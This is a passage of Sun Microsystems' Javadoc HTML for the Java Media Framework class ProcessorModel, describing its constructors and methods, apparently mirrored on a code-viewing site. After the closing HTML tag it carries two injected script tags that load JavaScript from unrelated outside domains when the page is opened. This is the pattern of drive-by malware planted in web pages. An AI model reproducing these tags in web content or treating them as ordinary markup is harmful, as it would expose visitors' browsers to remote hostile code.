📄 processormodel.html
字号:
notifyAll, toString, wait, wait, wait</CODE></TD></TR></TABLE> <P><!-- ============ FIELD DETAIL =========== --><!-- ========= CONSTRUCTOR DETAIL ======== --><A NAME="constructor_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Constructor Detail</B></FONT></TD></TR></TABLE><A NAME="ProcessorModel()"><!-- --></A><H3>ProcessorModel</H3><PRE>public <B>ProcessorModel</B>()</PRE><DL><DD>Creates a <code>ProcessorModel</code> with null properties.</DL><HR><A NAME="ProcessorModel(javax.media.Format[], javax.media.protocol.ContentDescriptor)"><!-- --></A><H3>ProcessorModel</H3><PRE>public <B>ProcessorModel</B>(<A HREF="../../javax/media/Format.html">Format</A>[] formats, <A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A> outputContentDescriptor)</PRE><DL><DD>Creates a <code>ProcessorModel</code> for the specified track formats and output content-type. This constructor creates a <code>ProcessorModel</code> that can be used to construct a <code>Processor</code> for capturing media data.<DD><DL><DT><B>Parameters:</B><DD><CODE>formats</CODE> - An array of <code>Format</code> objects that contains the desired track formats.<DD><CODE>outputContentDescriptor</CODE> - A <code>ContentDescriptor</code> that describes the desired output content-type.</DL></DD></DL><HR><A NAME="ProcessorModel(javax.media.protocol.DataSource, javax.media.Format[], javax.media.protocol.ContentDescriptor)"><!-- --></A><H3>ProcessorModel</H3><PRE>public <B>ProcessorModel</B>(<A HREF="../../javax/media/protocol/DataSource.html">DataSource</A> inputDataSource, <A HREF="../../javax/media/Format.html">Format</A>[] formats, <A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A> outputContentDescriptor)</PRE><DL><DD>Creates a <code>ProcessorModel</code> for the specified input <code>DataSource</code>, track formats, and output type.<DD><DL><DT><B>Parameters:</B><DD><CODE>inputDataSource</CODE> - The <code>DataSource</code> that identifies the media source for the <code>ProcessorModel</code>.<DD><CODE>formats</CODE> - An array of <code>Format</code> objects that contains the desired track formats.<DD><CODE>outputContentDescriptor</CODE> - A <code>ContentDescriptor</code> that describes the desired output content-type.</DL></DD></DL><HR><A NAME="ProcessorModel(javax.media.MediaLocator, javax.media.Format[], javax.media.protocol.ContentDescriptor)"><!-- --></A><H3>ProcessorModel</H3><PRE>public <B>ProcessorModel</B>(<A HREF="../../javax/media/MediaLocator.html">MediaLocator</A> inputLocator, <A HREF="../../javax/media/Format.html">Format</A>[] formats, <A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A> outputContentDescriptor)</PRE><DL><DD>Creates a <code>ProcessorModel</code> for the specified input <code>MediaLocator</code>, track formats, and output type.<DD><DL><DT><B>Parameters:</B><DD><CODE>inputLocator</CODE> - The <code>MediaLocator</code> that identifies the media source for this <code>ProcessorModel</code>.<DD><CODE>formats</CODE> - An array of <code>Format</code> objects that contains the desired track formats.<DD><CODE>outputContentDescriptor</CODE> - A <code>ContentDescriptor</code> that describes the desired output content-type.</DL></DD></DL><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getTrackCount(int)"><!-- --></A><H3>getTrackCount</H3><PRE>public int <B>getTrackCount</B>(int availableTrackCount)</PRE><DL><DD>Gets the number of tracks required as the output of the <code>Processor</code> constructed with this <CODE>ProcessorModel</CODE>.<DD><DL><DT><B>Parameters:</B><DD><CODE>availableTrackCount</CODE> - The number of tracks available, as an integer.<DT><B>Returns:</B><DD>The number of tracks required, as an integer.</DL></DD></DL><HR><A NAME="getOutputTrackFormat(int)"><!-- --></A><H3>getOutputTrackFormat</H3><PRE>public <A HREF="../../javax/media/Format.html">Format</A> <B>getOutputTrackFormat</B>(int tIndex)</PRE><DL><DD>Gets the preferred <code>Format</code> of the specified track.<DD><DL><DT><B>Parameters:</B><DD><CODE>tIndex</CODE> - The index of the track for which you want to get the preferred <code>Format</code>.<DT><B>Returns:</B><DD>The preferred <code>Format</code> for the track.</DL></DD></DL><HR><A NAME="isFormatAcceptable(int, javax.media.Format)"><!-- --></A><H3>isFormatAcceptable</H3><PRE>public boolean <B>isFormatAcceptable</B>(int tIndex, <A HREF="../../javax/media/Format.html">Format</A> tFormat)</PRE><DL><DD>Checks whether or not <code>tFormat</code> is an acceptable format for the track <code>tIndex</code>.<DD><DL><DT><B>Parameters:</B><DD><CODE>tIndex</CODE> - The index of the track you want to check.<DD><CODE>tFormat</CODE> - The <code>Format</code> to check.<DT><B>Returns:</B><DD><CODE>true</CODE> if the <CODE>Format</CODE> is acceptable, otherwise returns <CODE>false</CODE>.</DL></DD></DL><HR><A NAME="getContentDescriptor()"><!-- --></A><H3>getContentDescriptor</H3><PRE>public <A HREF="../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A> <B>getContentDescriptor</B>()</PRE><DL><DD>Gets the output content-type specified by this <code>ProcessorModel</code>.<DD><DL><DT><B>Returns:</B><DD>A <code>ContentDescriptor</code> that defines the output content-type. Returns null if the output type is not applicable or the output streams are to contain raw data that doesn't pertain to a specific content-type.</DL></DD></DL><HR><A NAME="getInputDataSource()"><!-- --></A><H3>getInputDataSource</H3><PRE>public <A HREF="../../javax/media/protocol/DataSource.html">DataSource</A> <B>getInputDataSource</B>()</PRE><DL><DD>Gets the input <code>DataSource</code> that specifies the media source for this <code>ProcessorModel</code>. The <code>inputLocator</code> is ignored if this value is non-null.<DD><DL><DT><B>Returns:</B><DD>A <code>DataSource</code> that specifies the media source.</DL></DD></DL><HR><A NAME="getInputLocator()"><!-- --></A><H3>getInputLocator</H3><PRE>public <A HREF="../../javax/media/MediaLocator.html">MediaLocator</A> <B>getInputLocator</B>()</PRE><DL><DD>Gets the input <code>MediaLocator</code> that specifies the media source for this <code>ProcessorModel</code>. This value is ignored if an input <code>DataSource</code> is specified.<DD><DL><DT><B>Returns:</B><DD>A <code>MediaLocator</code> that specifies the media source.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../javax/media/PrefetchCompleteEvent.html"><B>PREV CLASS</B></A> <A HREF="../../javax/media/RateChangeEvent.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="ProcessorModel.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | FIELD | <A HREF="#constructor_summary">CONSTR</A> | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: FIELD | <A HREF="#constructor_detail">CONSTR</A> | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -